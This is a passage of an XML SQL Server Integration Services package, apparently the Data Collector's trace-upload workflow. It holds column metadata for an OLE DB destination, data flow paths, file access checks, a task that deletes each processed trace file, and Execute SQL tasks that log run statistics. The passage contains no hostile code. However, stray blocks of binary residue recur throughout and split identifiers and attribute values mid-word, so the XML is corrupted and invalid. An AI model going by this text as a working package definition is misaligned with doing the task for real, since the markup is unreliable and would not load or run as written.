/Hvut table.Inputs[OLE DB Destination Input].ExternalColumns[ObjectID]" dataType="i4" name="ObjectID"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[Success]" dataType="i4" name="Success"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[IndexID]" dataType="i4" name="IndexID"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[IntegerData]" dataType="i4" name="IntegerData"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[ServerName]" dataType="wstr" length="256" name="ServerName"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[EventClass]" dataType="i4" name="EventClass"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[ObjectType]" dataType="i4" name="ObjectType"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[NestLevel]" dataType="i4" name="NestLevel"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[State]" dataType="i4" name="State"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[Error]" dataType="i4" name="Error"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[Mode]" dataType="i4" name="Mode"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[Handle]" dataType="i4" name="Handle"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[ObjectName]" dataType="wstr" length="256" name="ObjectName"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[DatabaseName]" dataType="wstr" length="256" name="DatabaseName"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[FileName]" dataType="wstr" length="256" name="FileName"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[OwnerName]" dataType="wstr" length="256" name="OwnerName"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - reg	!!!!!!!!!!!!!!!!!!!!!!!!`2=	Hvular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[RoleName]" dataType="wstr" length="256" name="RoleName"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[TargetUserName]" dataType="wstr" length="256" name="TargetUserName"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[DBUserName]" dataType="wstr" length="256" name="DBUserName"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[LoginSid]" dataType="image" name="LoginSid"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[TargetLoginName]" dataType="wstr" length="256" name="TargetLoginName"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[TargetLoginSid]" dataType="image" name="TargetLoginSid"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[ColumnPermissions]" dataType="i4" name="ColumnPermissions"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[LinkedServerName]" dataType="wstr" length="256" name="LinkedServerName"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[ProviderName]" dataType="wstr" length="256" name="ProviderName"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[MethodName]" dataType="wstr" length="256" name="MethodName"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[RowCounts]" dataType="i8" name="RowCounts"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[RequestID]" dataType="i4" name="RequestID"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[XactSequence]" dataType="i8" name="XactSequence"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[EventSequence]" dataType="i8" name="EventSequence"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[BigintData1]" dataType="i8" name="BigintData1"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\O	!!!!!!!!!!!!!!!!!!!!!!!!`2	U(HvDB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[BigintData2]" dataType="i8" name="BigintData2"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[GUID]" dataType="guid" name="GUID"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[IntegerData2]" dataType="i4" name="IntegerData2"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[ObjectID2]" dataType="i8" name="ObjectID2"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[Type]" dataType="i4" name="Type"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[OwnerID]" dataType="i4" name="OwnerID"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[ParentName]" dataType="wstr" length="256" name="ParentName"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[IsSystem]" dataType="i4" name="IsSystem"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[Offset]" dataType="i4" name="Offset"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[SourceDatabaseID]" dataType="i4" name="SourceDatabaseID"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[SqlHandle]" dataType="bytes" length="64" name="SqlHandle"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[SessionLoginName]" dataType="wstr" length="256" name="SessionLoginName"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[PlanHandle]" dataType="bytes" length="64" name="PlanHandle"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[GroupID]" dataType="i4" name="GroupID"/></externalMetadataColumns></input></inputs><outputs><output refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Outputs[OLE DB Destination Error Output]" exclusionGroup="1" isErrorOut="true" name="OLE DB Destination Error Output" synchronousInputId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input]"><outputColumns><outputColumn refId="Package\For Loop Containe	!!!!!!!!!!!!!!!!!!!!!!!!`2	2Hvr\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Outputs[OLE DB Destination Error Output].Columns[ErrorCode]" dataType="i4" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Outputs[OLE DB Destination Error Output].Columns[ErrorCode]" name="ErrorCode" specialFlags="1"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Outputs[OLE DB Destination Error Output].Columns[ErrorColumn]" dataType="i4" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Outputs[OLE DB Destination Error Output].Columns[ErrorColumn]" name="ErrorColumn" specialFlags="2"/></outputColumns><externalMetadataColumns/></output></outputs></component></components><paths><path refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file.Paths[Aggregate Output 1]" endId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\DRV - Add columns.Inputs[Derived Column Input]" name="Aggregate Output 1" startId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\AGG - Get max value of EventSequence.Outputs[Aggregate Output 1]"/><path refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file.Paths[Data Conversion Output]" endId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\CNT - Output row count.Inputs[Row Count Input 1]" name="Data Conversion Output" startId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\Data Conversion.Outputs[Data Conversion Output]"/><path refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file.Paths[Derived Column Output1]" endId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\Data Conversion.Inputs[Data Conversion Input]" name="Derived Column Output" startId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\DRV - Add snapshot_id and trace_info_id.Outputs[Derived Column Output]"/><path refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file.Paths[Derived Column Output]" endId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Update trace_info.Inputs[OLE DB Command Input]" name="Derived Column Output" startId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\DRV - Add columns.Outputs[Derived Column Output]"/><path refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file.Paths[Multicast Output 1]" endId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\DRV - Add snapshot_id and trace_info_id.Inputs[Derived Column Input]" name="Multicast Output 1" startId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\MLT - Split two ways.Outputs[Multicast Output 1]"/><path refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file.Paths[Multicast Output 2]" endId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\AGG - Get max value of EventSequence.Inputs[Aggregate Input 1]" name="Multicast Output 2" startId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\MLT - Split two ways.Outputs[Multicast Output 2]"/><path refId="Package\For Loop Container\FEF - For each trace	!!!!!!!!!!!!!!!!!!!!!!!!`2	<V!Hv file - regular trace upload\DFT - Upload trace file.Paths[OLE DB Source Error Output]" endId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\CNT - Error row count source.Inputs[Row Count Input 1]" name="OLE DB Source Error Output" startId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output]"/><path refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file.Paths[OLE DB Source Output]" endId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\CNT - Input row count.Inputs[Row Count Input 1]" name="OLE DB Source Output" startId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output]"/><path refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file.Paths[Row Count Output 1]" endId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input]" name="Row Count Output 1" startId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\CNT - Output row count.Outputs[Row Count Output 1]"/><path refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file.Paths[Row Count Output 11]" endId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\MLT - Split two ways.Inputs[Multicast Input 1]" name="Row Count Output 1" startId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\CNT - Input row count.Outputs[Row Count Output 1]"/></paths></pipeline></DTS:ObjectData></DTS:Executable><DTS:Executable DTS:refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\FAT - Check if trace file is accessible" DTS:CreationName="DTS.FileAccessTask.2" DTS:DelayValidation="True" DTS:Description="File Access Task" DTS:DTSID="{679134AC-EFFB-4A28-B2C2-4247D71FEE23}" DTS:ExecutableType="DTS.FileAccessTask.2" DTS:LocaleID="-1" DTS:MaxErrorCount="0" DTS:ObjectName="FAT - Check if trace file is accessible" DTS:TaskContact="File Access;Microsoft Corporation; Microsoft SQL Server codename Katmai; (C) 2007 Microsoft Corporation; All Rights Reserved;http://www.microsoft.com/sql/support/default.asp;1"><DTS:Variables/><DTS:PropertyExpression DTS:Name="FilePath">@[User::TraceCurrentFile]</DTS:PropertyExpression><DTS:PropertyExpression DTS:Name="Mode">6</DTS:PropertyExpression><DTS:ObjectData><FileAccessTask><Mode>6</Mode><FilePath>C:\Users\macies\AppData\Local\Temp\ecodedc\DC_Trace_MSSQL.1.f37780d4-fea7-4271-90b2-fa553ad4ca91.0_1.trc</FilePath></FileAccessTask></DTS:ObjectData></DTS:Executable><DTS:Executable DTS:refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\FAT - Precheck if trace file is accessible" DTS:CreationName="DTS.FileAccessTask.2" DTS:Description="File Access Task" DTS:DTSID="{BCAA70EC-FD75-4E75-9698-7459FF0FB8BB}" DTS:ExecutableType="DTS.FileAccessTask.2" DTS:LocaleID="-1" DTS:MaxErrorCount="0" DTS:ObjectName="FAT - Precheck if trace file is accessible" DTS:TaskContact="File Access;Microsoft Corporation; Microsoft SQL Server codename Katmai; (C) 2007 Microsoft Corporation; All Rights Reserved;http://www.microsoft.com/sql/support/default.asp;1"><DTS:Variables/><DTS:PropertyExpression DTS:Name="FilePath">@[User::TraceCurrentFile]</DTS:PropertyExpression><DTS:PropertyExpression DTS:Name="Mode">4</DTS:PropertyExpression><DTS:ObjectData><FileAccessTask><Mode>4</Mode><FilePath>C:\Users\macies\AppData\Local\Temp\ecodedc\DC_Trace_MSSQL.1.f37780d4-fea7-4271-90b2-fa553ad4ca91.0_1.trc</FilePath></FileAccessTask></DTS:ObjectData></DTS:Executable><DTS:Executable DTS	!!!!!!!!!!!!!!!!!!!!!!!!`2	"[VHv:refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\FST - Delete trace file" DTS:CreationName="Microsoft.SqlServer.Dts.Tasks.FileSystemTask.FileSystemTask, Microsoft.SqlServer.FileSystemTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:DelayValidation="True" DTS:Description="File System Task" DTS:DTSID="{5EE7C74E-CD4E-40E2-8D32-7475CF6457B1}" DTS:ExecutableType="Microsoft.SqlServer.Dts.Tasks.FileSystemTask.FileSystemTask, Microsoft.SqlServer.FileSystemTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:ForceExecutionResult="0" DTS:LocaleID="-1" DTS:MaxErrorCount="0" DTS:ObjectName="FST - Delete trace file" DTS:TaskContact="File System Task;Microsoft Corporation; Microsoft SQL Server v9;  2004 Microsoft Corporation; All Rights Reserved;http://www.microsoft.com/sql/support/default.asp;1" DTS:ThreadHint="3"><DTS:Variables/><DTS:LoggingOptions DTS:FilterKind="0" DTS:LoggingMode="2"><DTS:Property DTS:DataType="8" DTS:Name="EventFilter">2,7,OnError,9,OnWarning</DTS:Property><DTS:Property DTS:EventName="OnError" DTS:Name="ColumnFilter"><DTS:Property DTS:Name="Computer">-1</DTS:Property><DTS:Property DTS:Name="Operator">-1</DTS:Property><DTS:Property DTS:Name="SourceName">-1</DTS:Property><DTS:Property DTS:Name="SourceID">-1</DTS:Property><DTS:Property DTS:Name="ExecutionID">-1</DTS:Property><DTS:Property DTS:Name="MessageText">-1</DTS:Property><DTS:Property DTS:Name="DataBytes">-1</DTS:Property></DTS:Property><DTS:Property DTS:EventName="OnWarning" DTS:Name="ColumnFilter"><DTS:Property DTS:Name="Computer">-1</DTS:Property><DTS:Property DTS:Name="Operator">-1</DTS:Property><DTS:Property DTS:Name="SourceName">-1</DTS:Property><DTS:Property DTS:Name="SourceID">-1</DTS:Property><DTS:Property DTS:Name="ExecutionID">-1</DTS:Property><DTS:Property DTS:Name="MessageText">-1</DTS:Property><DTS:Property DTS:Name="DataBytes">-1</DTS:Property></DTS:Property></DTS:LoggingOptions><DTS:EventHandlers><DTS:EventHandler DTS:refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\FST - Delete trace file.EventHandlers[OnError]" DTS:CreationName="OnError" DTS:DTSID="{582131DF-655C-41F3-B0E7-5D7E8FDBB56F}" DTS:EventID="-454761244" DTS:EventName="OnError" DTS:LocaleID="-1"><DTS:Variables><DTS:Variable DTS:CreationName="" DTS:Description="The propagate property of the event" DTS:DTSID="{6C9DBDD1-7561-4A92-87F2-521B9881BB19}" DTS:Expression="@[System::ErrorCode] != -1073548540" DTS:IncludeInDebugDump="6789" DTS:Namespace="System" DTS:ObjectName="Propagate"><DTS:VariableValue DTS:DataType="11">0</DTS:VariableValue></DTS:Variable></DTS:Variables><DTS:Executables/></DTS:EventHandler></DTS:EventHandlers><DTS:ObjectData><FileSystemData TaskOperationType="DeleteFile" TaskSourcePath="User::TraceCurrentFile" TaskIsSourceVariable="True"/></DTS:ObjectData></DTS:Executable><DTS:Executable DTS:refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\SQL - Log package stats" DTS:CreationName="Microsoft.SqlServer.Dts.Tasks.ExecuteSQLTask.ExecuteSQLTask, Microsoft.SqlServer.SQLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:DelayValidation="True" DTS:Description="Logs statistics about the most recent Data Flow Task" DTS:DTSID="{7FE278CC-D8C4-4CCD-B884-D4FD9790D5A0}" DTS:ExecutableType="Microsoft.SqlServer.Dts.Tasks.ExecuteSQLTask.ExecuteSQLTask, Microsoft.SqlServer.SQLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:LocaleID="-1" DTS:MaxErrorCount="0" DTS:ObjectName="SQL - Log package stats" DTS:TaskContact="Execute SQL Task; Microsoft Corporation; Microsoft SQL Server v9;  2004 Microsoft Corporation; All Rights Reserved;http://www.microsoft.com/sql/support/default.asp;1" DTS:ThreadHint="2"><DTS:Variables><DTS:Variable DTS:CreationName="" DTS:DTSID="{B2278345-853A-4BC7-BC04-346F236BE117}" DTS:EvaluateAsExpression="True" DTS:Expression="DATEDIFF(&quot;millisecond&quot;, @[System::ContainerStartT	!!!!!!!!!!!!!!!!!!!!!!!!`2	&0><Hvime] , GETDATE()  )" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="LoopDuration"><DTS:VariableValue DTS:DataType="3">766</DTS:VariableValue></DTS:Variable></DTS:Variables><DTS:LoggingOptions DTS:FilterKind="0" DTS:LoggingMode="2"/><DTS:ObjectData><SQLTask:SqlTaskData xmlns:SQLTask="www.microsoft.com/sqlserver/dts/tasks/sqltask" SQLTask:Connection="{C9A06CAE-CFEE-4A26-BE59-A3A222474CCB}" SQLTask:SqlStatementSource="{ call [dbo].[sp_syscollector_event_onstatsupdate] (?, N'Upload trace file', ?, ?, ?, ?) }"><SQLTask:ParameterBinding SQLTask:ParameterName="0" SQLTask:DtsVariableName="User::LogID" SQLTask:ParameterDirection="Input" SQLTask:DataType="20" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="1" SQLTask:DtsVariableName="User::RowCountIn" SQLTask:ParameterDirection="Input" SQLTask:DataType="3" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="2" SQLTask:DtsVariableName="User::RowCountOut" SQLTask:ParameterDirection="Input" SQLTask:DataType="3" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="3" SQLTask:DtsVariableName="User::RowCountError" SQLTask:ParameterDirection="Input" SQLTask:DataType="3" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="4" SQLTask:DtsVariableName="User::LoopDuration" SQLTask:ParameterDirection="Input" SQLTask:DataType="3" SQLTask:ParameterSize="-1"/></SQLTask:SqlTaskData></DTS:ObjectData></DTS:Executable><DTS:Executable DTS:refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\SQL - logs uploaded file name" DTS:CreationName="Microsoft.SqlServer.Dts.Tasks.ExecuteSQLTask.ExecuteSQLTask, Microsoft.SqlServer.SQLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:Description="SQL - logs uploaded file name" DTS:DTSID="{36601F9F-22D5-41EB-AC7D-0CBF2756CC8C}" DTS:ExecutableType="Microsoft.SqlServer.Dts.Tasks.ExecuteSQLTask.ExecuteSQLTask, Microsoft.SqlServer.SQLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:LocaleID="-1" DTS:ObjectName="SQL - logs uploaded file name" DTS:TaskContact="Execute SQL Task; Microsoft Corporation; Microsoft SQL Server code name &quot;Katmai&quot;;  2007 Microsoft Corporation; All Rights Reserved;http://www.microsoft.com/sql/support/default.asp;1" DTS:ThreadHint="3"><DTS:Variables/><DTS:ObjectData><SQLTask:SqlTaskData xmlns:SQLTask="www.microsoft.com/sqlserver/dts/tasks/sqltask" SQLTask:Connection="{C9A06CAE-CFEE-4A26-BE59-A3A222474CCB}" SQLTask:SqlStatementSource="{ call dbo.sp_ssis_addlogentry (N'UploadTraceFile',?, ?, ?, ?, ?, ?, ?, 0, 0x00, ?) }"><SQLTask:ParameterBinding SQLTask:ParameterName="0" SQLTask:DtsVariableName="System::MachineName" SQLTask:ParameterDirection="Input" SQLTask:DataType="130" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="1" SQLTask:DtsVariableName="System::UserName" SQLTask:ParameterDirection="Input" SQLTask:DataType="130" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="2" SQLTask:DtsVariableName="System::PackageName" SQLTask:ParameterDirection="Input" SQLTask:DataType="130" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="3" SQLTask:DtsVariableName="System::PackageID" SQLTask:ParameterDirection="Input" SQLTask:DataType="130" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="4" SQLTask:DtsVariableName="System::ExecutionInstanceGUID" SQLTask:ParameterDirection="Input" SQLTask:DataType="130" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="5" SQLTask:DtsVariableName="System::StartTime" SQLTask:ParameterDirection="Input" SQLTask:DataType="7" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="6" SQLTask:DtsVariableName="System::StartTime" SQLTask:ParameterDirection="Input" SQLTask:DataType="7" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="7" SQLTask:DtsVariableName="U	!!!!!!!!!!!!!!!!!!!!!!!!`2	*uHvser::TraceCurrentFile" SQLTask:ParameterDirection="Input" SQLTask:DataType="130" SQLTask:ParameterSize="-1"/></SQLTask:SqlTaskData></DTS:ObjectData></DTS:Executable></DTS:Executables><DTS:PrecedenceConstraints><DTS:PrecedenceConstraint DTS:refId="Package\For Loop Container\FEF - For each trace file - regular trace upload.PrecedenceConstraints[Constraint]" DTS:CreationName="" DTS:DTSID="{4184AC42-F94B-469C-A49E-EE793CB1D245}" DTS:From="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file" DTS:LogicalAnd="True" DTS:ObjectName="Constraint" DTS:To="Package\For Loop Container\FEF - For each trace file - regular trace upload\FAT - Check if trace file is accessible"/><DTS:PrecedenceConstraint DTS:refId="Package\For Loop Container\FEF - For each trace file - regular trace upload.PrecedenceConstraints[Constraint 1]" DTS:CreationName="" DTS:DTSID="{41B4AC86-833E-417B-A00D-2259D0C87E35}" DTS:EvalOp="3" DTS:Expression="@[LoggingLevel] &gt;= 1" DTS:From="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file" DTS:LogicalAnd="True" DTS:ObjectName="Constraint 1" DTS:To="Package\For Loop Container\FEF - For each trace file - regular trace upload\SQL - Log package stats" DTS:Value="2"/><DTS:PrecedenceConstraint DTS:refId="Package\For Loop Container\FEF - For each trace file - regular trace upload.PrecedenceConstraints[Constraint 2]" DTS:CreationName="" DTS:DTSID="{0957B7CD-F748-44F6-BD2F-9A5B335C4F16}" DTS:From="Package\For Loop Container\FEF - For each trace file - regular trace upload\FAT - Check if trace file is accessible" DTS:LogicalAnd="True" DTS:ObjectName="Constraint 2" DTS:To="Package\For Loop Container\FEF - For each trace file - regular trace upload\FST - Delete trace file"/><DTS:PrecedenceConstraint DTS:refId="Package\For Loop Container\FEF - For each trace file - regular trace upload.PrecedenceConstraints[Constraint 3]" DTS:CreationName="" DTS:DTSID="{A52A42F1-5767-464E-AEBC-F8FB69B7BAC4}" DTS:EvalOp="3" DTS:Expression="@[LoggingLevel] &gt; 1" DTS:From="Package\For Loop Container\FEF - For each trace file - regular trace upload\FST - Delete trace file" DTS:LogicalAnd="True" DTS:ObjectName="Constraint 3" DTS:To="Package\For Loop Container\FEF - For each trace file - regular trace upload\SQL - logs uploaded file name" DTS:Value="2"/><DTS:PrecedenceConstraint DTS:refId="Package\For Loop Container\FEF - For each trace file - regular trace upload.PrecedenceConstraints[Constraint 4]" DTS:CreationName="" DTS:DTSID="{1963E80B-FFFB-425B-AEF5-0F6F5BE8FFA2}" DTS:From="Package\For Loop Container\FEF - For each trace file - regular trace upload\FAT - Precheck if trace file is accessible" DTS:LogicalAnd="True" DTS:ObjectName="Constraint 4" DTS:To="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file"/></DTS:PrecedenceConstraints><DTS:ForEachVariableMappings><DTS:ForEachVariableMapping DTS:CreationName="" DTS:DTSID="{2FE5FF29-A973-47A2-AAF5-B529588DB38B}" DTS:ObjectName="{2FE5FF29-A973-47A2-AAF5-B529588DB38B}" DTS:ValueIndex="0" DTS:VariableName="User::TraceCurrentFile"/></DTS:ForEachVariableMappings></DTS:Executable><DTS:Executable DTS:refId="Package\For Loop Container\SQL - Check trace info" DTS:CreationName="Microsoft.SqlServer.Dts.Tasks.ExecuteSQLTask.ExecuteSQLTask, Microsoft.SqlServer.SQLTask, Version=11.0.0.0, Culture=neutral, 